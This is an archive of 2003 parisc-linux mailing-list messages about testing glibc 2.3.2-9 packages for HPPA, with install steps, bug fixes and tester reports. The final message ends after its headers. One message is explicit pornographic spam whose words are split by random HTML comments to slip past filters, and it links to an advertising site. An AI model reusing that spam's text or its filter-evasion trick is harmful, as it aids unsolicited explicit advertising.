ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-20/

They fix the following problems encountered by testers:

- Six argument cancellable syscalls don't crash your program anymore.
- Calling feraiseexcept with FE_INEXACT raises the correct exception and
  flag bits.

Cheers,
Carlos.

On Fri, Oct 17, 2003 at 02:09:12PM -0400, Carlos O'Donell wrote:
> --- CALLING ALL TESTERS! ---
> 
> glibc 2.3.2 is complete for HPPA. We've gotten rid of the following
> long standing test-suite errors (bug-iconv3, and test-fenv).
> 
> The regressions in 2.3.2 were caused by incorrect handling of the PIC
> register by the kernel, but fixed in glibc. Most cases for our stack
> were handled incorrectly (stack grows up cases), but are fixed in this
> release.
> 
> ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/
> 
> Download all the debs and install with:
> 
> dpkg -i libc6_*.deb
> (Followed by dpkg -i of the rest in any order, libc6 must install first) 
> 
> Please do this only if you consider yourself a well seasoned linux-type
> person. If that dpkg install fails for any reason you might be in
> trouble. I'm running these debs on all my boxes, and I've tested in a
> chroot, rebuilt our toolchain, and ran lmbench, gnome-session, nautilus,
> and abi-word.
> 
> http://www.baldric.uwo.ca/~carlos/a500-gnome-abiword.png
> 
> Thanks go out to everyone for all the moral support and fun! 
> 
> --- TEST IT AND REPORT BACK ... PLEASE! :) ---
> 
> == DISCLAIMER ===
> I do not guarantee that these debs won't cause your computer to explode
> like a pineapple grenade, showering shrapnel and fiery death on all your
> loved ones.
> == DISCLAIMER ===



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Mon, 20 Oct 2003 19:43:46 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20031020234345.GC5606__30175.1348808923$1416622896$gmane$org@systemhalted>
References: <20031017181252.GE27289@systemhalted> <20031019181341.GF8642@systemhalted> <20031019235005.GI8642@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622896 389 80.91.229.3 (22 Nov 2014 02:21:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	LaMont Jones <lamont@debian.com>
To: debian-glibc@lists.debian.org, Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 17:47:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1648F494A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 17:47:45 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABjgg-0001XA-00; Mon, 20 Oct 2003 19:43:46 -0400
Content-Disposition: inline
In-Reply-To: <20031019235005.GI8642@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19891

On Sun, Oct 19, 2003 at 07:50:05PM -0400, Carlos O'Donell wrote:
> Will produce a new patch and new testing debs. Thanks go to all the
> testers that turned up these problems.

New debs fix reported problems:
a. Six argument syscall faiulres.
b. feraiseexcept(FE_INEXACT) doesn't raise FE_INEXACT excption.

New patch available at:
http://www.baldric.uwo.ca/~carlos/glibc232-hppa-full-2003-10-20.dpatch

Follow the instructions provided in the original email:
1. Remove all previous hppa patches.
2. Add this .dpatch as the only hppa patch.

Upload requested :) Lets make userspace churn...

Cheers,
Carlos.



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sebastian Vang" <g8fhcgwgwq@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] difdain kummings
Date: Mon, 20 Oct 03 21:21:59 GMT
Lines: 69
Approved: news@gmane.org
Message-ID: <c$i1$v-d9907f3$4$i$4-op@hr2o.vi>
Reply-To: "Sebastian Vang" <g8fhcgwgwq@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="C0_77FD4BE.2D9AC.9..1560"
X-Trace: ger.gmane.org 1416622896 393 80.91.229.3 (22 Nov 2014 02:21:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 21:31:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp723857pcs.arlngt01.va.comcast.net (pcp723857pcs.arlngt01.va.comcast.net [68.49.196.185])
	by dsl2.external.hp.com (Postfix) with SMTP id 02B3B4856
	for <parisc-linux@parisc-linux.org>; Mon, 20 Oct 2003 21:31:08 -0600 (MDT)
Original-Received: from [137.80.109.109] by pcp723857pcs.arlngt01.va.comcast.net SMTP id 7yJ4oL1572Yx9Y; Mon, 20 Oct 2003 21:21:59 -0300
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19892

--C0_77FD4BE.2D9AC.9..1560
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#FFFFFF" text=3D"#000000" link=3D"#FFFF00" vlink=3D"#FFFF=
00" alink=3D"#FFFF00">
<table width=3D"531" height=3D"44" align=3D"center" bgcolor=3D"#950000"><!=
-- function -->
<tr><td align=3D"center" valign=3D"middle" width=3D"529"><b><font color=3D=
"#FFFFFF" face=3D"Verdana" size=3D"5">H<!-- ravenous -->ot
 mo<!-- dean -->ms getting f<!-- chargeable -->uck<!-- =
aberrate -->ed go<!-- impertinent -->od!</font></b></td></tr></table>=

<table width=3D"527" height=3D"201" align=3D"center" bgcolor=3D"#990000"><=
tr> 
<td align=3D"center" valign=3D"top" bgcolor=3D"#990000" height=3D"178"> 
<table width=3D"525" height=3D"128" align=3D"center"><tr><!-- =
holm -->
<td align=3D"center" valign=3D"middle" bgcolor=3D"#FFFFFF" height=3D"192">=

<p align=3D"left"><!-- dietary --><font color=3D"#000000" face=3D"Ver=
dana" size=3D"4">See
 the ho<!-- duopoly -->tt<!-- cognizable -->est as<!-- =
critter -->s<!-- angelica -->ed mo<!-- battery -->ms getting=
 f<!-- equitation -->uc<!-- winfield -->ked good and ha<!-- =
awesome -->rd. The <!-- mumford -->way there
 hu<!-- phosphine -->sbands would never da<!-- snyaptic -->re, only=
 at M<!-- sniff -->.i.l<!-- spline -->.f Que<!-- =
bang -->st.</font>
 <p align=3D"left"><font color=3D"#000000" face=3D"Verdana" size=3D"4">We
 sear<!-- distraught -->ch hi<!-- appearance -->gh and low from gr<!--=
 breath -->ocery st<!-- evanescent -->ores to sho<!-- =
shadbush -->pping centers,
 se<!-- lemming -->archi<!-- backgammon -->ng for the h<!-- =
costello -->ott<!-- crook -->est M<!-- bibb -->.i.l<!--=
 foyer -->.f's. We sim<!-- troubleshoot -->ply of<!-- =
factorial -->fer the h<!-- confine -->o<!-- brief -->e's so=
me
 ca<!-- grainy -->sh to f<!-- cartography -->u<!-- dog -->=
ck - they just can't res<!-- poncho -->ist.</font></p>
 <p align=3D"center"><font color=3D"#000000" face=3D"Verdana" size=3D"4"><=
a href=3D"http://process@www.surfbling.com/mi/index.html?=
acre" style=3D"color: #000000"><!-- brinkmanship -->Cl<!-- =
triassic -->ick
 he<!-- chasm -->re for a F<!-- fuji -->R<!-- =
studebaker -->EE to<!-- althea -->ur</a></font></td><!-- =
briny --></tr></table></td></tr><!-- sharpe --></table>
<table width=3D"533" height=3D"33" align=3D"center" bgcolor=3D"#950000"><!=
-- squad --><tr> 
<td align=3D"center" valign=3D"middle" width=3D"525"><b><font color=3D"#00=
0000" face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2"><a href=3D=
"http://aldehyde@www.surfbling.com/mi/index.html?sky">C<!-- =
conciliatory -->li<!-- allentown -->ck
 he<!-- sigh -->re to jo<!-- ragging -->in the qu<!-- =
gillette -->est to fi<!-- gnomon -->nd ho<!-- dalzell -->t =
and ho<!-- aqua -->rn<!-- cigarette -->y M.<!-- thither --=
>I.<!-- draftsperson -->L.F's</a></font></b></td>
</tr></table><p align=3D"center"><a href=3D"http://bondage@www.surfbl=
ing.com/rm/rm.php?bigot" style=3D"color: #000000">I
do<!-- instinct -->nt wa<!-- ova -->nt to g<!-- =
laotian -->et any more of these mess<!-- barkeep -->ages ple<!--=
 decolletage -->ase</a></p></body>
z idto xrolzrd fjar
p
  kct

--C0_77FD4BE.2D9AC.9..1560--



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Tue, 21 Oct 2003 08:24:13 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3F8A272E00004AD1@ocpmta3.freegates.net>
References: <20031019231015.GH8642@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622897 394 80.91.229.3 (22 Nov 2014 02:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 00:24:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A98754856
	for <parisc-linux@parisc-linux.org>; Tue, 21 Oct 2003 00:24:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ABpwE-0007NP-00; Tue, 21 Oct 2003 08:24:14 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 21 Oct 2003 08:24:13 +0200
In-Reply-To: <20031019231015.GH8642@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19893

Hi Carlos,

Sorry, for bad wrap (in fact cut and past behaviour was different is the
src is xterm or a minicom, and I don't pay attention: my bad).

Sorry also if the 'original message' below was so badly inserted, but my
isp support couldn't help me to fix this pb :(

Finaly, I would also like to trace this pb with gdb but this c110 is a bit
slow and requested many time to compile another kernel to allow me to compare
2.4 and 2.6 behaviour :(. I would so try next week-end.

Thanks for your understand,
    Joel

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Date: Sun, 19 Oct 2003 19:10:15 -0400
>Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
>do_page_fault?]
>
>
>On Sun, Oct 19, 2003 at 07:49:08PM +0000, Joel Soete wrote:
> Hi pa,
> 
> Please apologies, I forget to mentioned an important matter:
> with 2.6.0-test-pa1 it is not anymore a do_page_fault() but:
> evolution (pid 2454): Protection id trap (code 
>7) 

Do not wrap lines like this. 
 
> YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 
>                            PSW: 00000000000001000000000000001111 Not 
> tainted                                                       r00-03 

You should really run evol
>tion through gdb. Remember to use "handle all
nostop" and "handle all pass".

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-
>inux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] (Round 2) hppa glibc 2.3.2-9 available for the brave testers (Round 2)!
Date: Tue, 21 Oct 2003 12:29:38 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <3F8A272E00004E58__42903.951512608$1416622897$gmane$org@ocpmta3.freegates.net>
References: <20031020233625.GB5606@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622897 396 80.91.229.3 (22 Nov 2014 02:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:37 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 04:29:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1274841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 04:29:43 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ABtlk-00086a-00; Tue, 21 Oct 2003 12:29:40 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 21 Oct 2003 12:29:38 +0200
In-Reply-To: <20031020233625.GB5606@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19894

Hi Carlos,

I test it on my b180 running a k-2.4-23-pre7-pa12 (hosting a basic iptable
fw and a squid proxy and it works fine now).

Thanks alot for this great job,
    Joel

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: parisc-linux@lists.parisc-linux.org
>Cc: debian-hppa@lists.debian.org
>Date: Mon, 20 Oct 2003 19:36:25 -0400
>Subject: [parisc-linux] (Round 2) hppa glibc 2.3.2-9 available for the brave
>testers (Round 2)!
>
>
>debian-hppa, 
parisc-linux,

New testing deb's can be found at:

ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-20/

They fix the following problems encountered by testers:

- Six argument cancellable syscalls don't crash you
> program anymore.
- Calling feraiseexcept with FE_INEXACT raises the correct exception and
  flag bits.

Cheers,
Carlos.

On Fri, Oct 17, 2003 at 02:09:12PM -0400, Carlos O'Donell wrote:
> --- CALLING ALL TESTERS! ---
> 
> glibc 2.3.2 is comp
>ete for HPPA. We've gotten rid of the following
> long standing test-suite errors (bug-iconv3, and test-fenv).
> 
> The regressions in 2.3.2 were caused by incorrect handling of the PIC
> register by the kernel, but fixed in glibc. Most cases for o
>r stack
> were handled incorrectly (stack grows up cases), but are fixed in this
> release.
> 
> ftp://ftp.parisc-linux.org/unofficial-debs/glibc_2.3.2-9_2003-10-16/
> 
> Download all the debs and install with:
> 
> dpkg -i libc6_*.deb
> (Foll
>wed by dpkg -i of the rest in any order, libc6 must install first) 
> 
> Please do this only if you consider yourself a well seasoned linux-type
> person. If that dpkg install fails for any reason you might be in
> trouble. I'm running these debs o
> all my boxes, and I've tested in a
> chroot, rebuilt our toolchain, and ran lmbench, gnome-session, nautilus,
> and abi-word.
> 
> http://www.baldric.uwo.ca/~carlos/a500-gnome-abiword.png
> 
> Thanks go out to everyone for all the moral support 
>nd fun! 
> 
> --- TEST IT AND REPORT BACK ... PLEASE! :) ---
> 
> == DISCLAIMER ===
> I do not guarantee that these debs won't cause your computer to explode
> like a pineapple grenade, showering shrapnel and fiery death on all your
> loved ones
>
> == DISCLAIMER ===

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fenv laid to rest, 50% done porting dbl-64 to ldbl-64, no testing yet.
Date: Tue, 21 Oct 2003 12:42:17 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3F8A272E00004E7B@ocpmta3.freegates.net>
References: <200310201749.h9KHnHQ3001830@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622897 400 80.91.229.3 (22 Nov 2014 02:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:37 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 04:42:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB00A4841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 04:42:29 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ABtxy-0001x4-00; Tue, 21 Oct 2003 12:42:18 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 21 Oct 2003 12:42:17 +0200
In-Reply-To: <200310201749.h9KHnHQ3001830@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19895

Hi Dave,


>I think we should hold off on implementing this until we get a final
>decision from HP on whether they will release their quadlib or not.

It's a long time we are awaiting this decision?

In the mean time, does it exists an URL where I can find spec?

Thanks in advance,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@nisa.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes
	over" release
Date: Tue, 21 Oct 2003 08:03:59 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <1066737838.1176.5.camel__35113.5887358852$1416622897$gmane$org@outpost.dnsalias.org>
References: <20031017181252.GE27289@systemhalted>
	 <20031019181341.GF8642@systemhalted> <20031019235005.GI8642@systemhalted>
	 <20031020234345.GC5606@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-eyklI1wmgIAawhfDJzLc"
X-Trace: ger.gmane.org 1416622897 403 80.91.229.3 (22 Nov 2014 02:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:37 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@debian.com>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 06:04:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web01-imail.rogers.com (web01-imail.bloor.is.net.cable.rogers.com [66.185.86.75])
	by dsl2.external.hp.com (Postfix) with ESMTP id E76DA4841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 06:04:00 -0600 (MDT)
Original-Received: from hosts ([65.49.88.87]) by web01-imail.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031021120344.XJNY69569.web01-imail.rogers.com@hosts>;
          Tue, 21 Oct 2003 08:03:44 -0400
In-Reply-To: <20031020234345.GC5606@systemhalted>
X-Mailer: Ximian Evolution 1.4.5 
X-Authentication-Info: Submitted using SMTP AUTH PLAIN at web01-imail.rogers.com from [65.49.88.87] using ID <jbailey01@rogers.com> at Tue, 21 Oct 2003 08:03:44 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19896

--=-eyklI1wmgIAawhfDJzLc
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hey Carlos - When submitting these upstream, will you consider adding
test cases for these failures?  feraiseexcept should certainly be tested
somewhere.  I don't know if there's a reasonable way to put in the test
for the syscalls, though.

If you don't have time, that's fine too.  I just like to encourage
people to improve testsuites whenever they can. =3D)

Tks,
Jeff Bailey

On Mon, 2003-10-20 at 19:43, Carlos O'Donell wrote:
> On Sun, Oct 19, 2003 at 07:50:05PM -0400, Carlos O'Donell wrote:
> > Will produce a new patch and new testing debs. Thanks go to all the
> > testers that turned up these problems.
>=20
> New debs fix reported problems:
> a. Six argument syscall faiulres.
> b. feraiseexcept(FE_INEXACT) doesn't raise FE_INEXACT excption.
>=20
> New patch available at:
> http://www.baldric.uwo.ca/~carlos/glibc232-hppa-full-2003-10-20.dpatch
>=20
> Follow the instructions provided in the original email:
> 1. Remove all previous hppa patches.
> 2. Add this .dpatch as the only hppa patch.
>=20
> Upload requested :) Lets make userspace churn...
>=20
> Cheers,
> Carlos.
--=20
In the United States, there isn't a government database that hasn't been
misused by the very people entrusted with keeping its information safe.
 - Bruce Schneier

--=-eyklI1wmgIAawhfDJzLc
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQA/lSCt5M5hmdCYCpkRAt9PAJ41G8AEuB6zlXNq0/gwulaW9OTgmwCfQ44A
lClI1WsBP1LBv8MEgEkdl3o=
=OgUW
-----END PGP SIGNATURE-----

--=-eyklI1wmgIAawhfDJzLc--



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Tue, 21 Oct 2003 10:13:35 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20031021141335.GE5606__1239.75540414012$1416622898$gmane$org@systemhalted>
References: <20031017181252.GE27289@systemhalted> <20031019181341.GF8642@systemhalted> <20031019235005.GI8642@systemhalted> <20031020234345.GC5606@systemhalted> <1066737838.1176.5.camel@outpost.dnsalias.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622898 406 80.91.229.3 (22 Nov 2014 02:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:38 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@debian.org>
To: Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 08:17:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
